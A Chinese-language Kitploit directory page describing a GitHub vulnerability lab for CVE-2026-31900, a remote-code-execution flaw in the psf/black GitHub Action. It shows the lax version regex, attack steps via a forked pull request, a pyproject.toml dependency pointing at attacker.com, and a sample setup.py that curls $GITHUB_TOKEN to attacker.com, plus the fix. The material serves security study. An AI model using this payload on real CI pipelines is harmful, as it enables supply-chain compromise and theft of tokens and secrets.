Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2026-31900-lab — CVE-2026-31900 漏洞实验室 - psf/black GitHub Action RCE | Kitploit
工具/GitHubGitHub/batosay1337lab/cve-2026-31900-lab
漏洞分析漏洞利用Web安全供应链安全学习与教育实验室与实践
GitHubbatosay1337lab/cve-2026-31900-lab

cve-2026-31900-lab

CVE-2026-31900 漏洞实验室 - psf/black GitHub Action RCE

查看仓库
114个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-31900 — 漏洞实验环境

psf/black GitHub Action 因不安全的正则表达式校验导致 RCE

字段详情
CVECVE-2026-31900
CVSS8.7(高危)
公告GHSA-v53h-f6m7-xcgm
受影响版本psf/black GitHub Action < v26.3.0
类型通过供应链实现 RCE(pull_request 触发)

漏洞详情

use_pyproject: true 选项会从 pyproject.toml 中读取 Black 版本号。由于使用了 re.IGNORECASE,用于校验版本字符串的正则表达式过于宽松,允许空格、@、: 和 / 等字符——而这正是 PEP 508 URL 依赖所需的条件。

存在漏洞的正则表达式

root@kitploit:~
BLACK_VERSION_RE = re.compile(r"^black(\[^A-Z0-9.\_-\]+.\*)$", re.IGNORECASE)

攻击向量

  1. Fork 此仓库
  2. 修改你 fork 中的 pyproject.toml:
root@kitploit:~
[project]
dependencies = [
    "black @ https://attacker.com/malicious_black.tar.gz"
]
  1. 发起 Pull Request → 触发 pull_request 工作流
  2. Action 从 pyproject.toml 读取恶意版本号,绕过正则表达式校验
  3. pip 安装攻击者控制的包 → setup.py 执行任意代码

恶意包 setup.py 示例

root@kitploit:~
from setuptools import setup
import os

os.system("curl https://attacker.com/exfil?token=$GITHUB_TOKEN")
setup(name="black", version="26.1.0")

凭据窃取影响

  • $GITHUB_TOKEN(CI 运行器令牌)
  • 注入到工作流环境中的任何机密信息

修复方案

升级到 psf/black v26.3.0,或在工作流 YAML 中显式固定版本号,而不是使用 use_pyproject: true。

实验环境结构

root@kitploit:~
.github/workflows/black.yml   ← 存在漏洞的工作流(use_pyproject: true)
pyproject.toml                ← 合法配置(主分支)
app.py                        ← 被格式化的示例 Python 文件
下载工具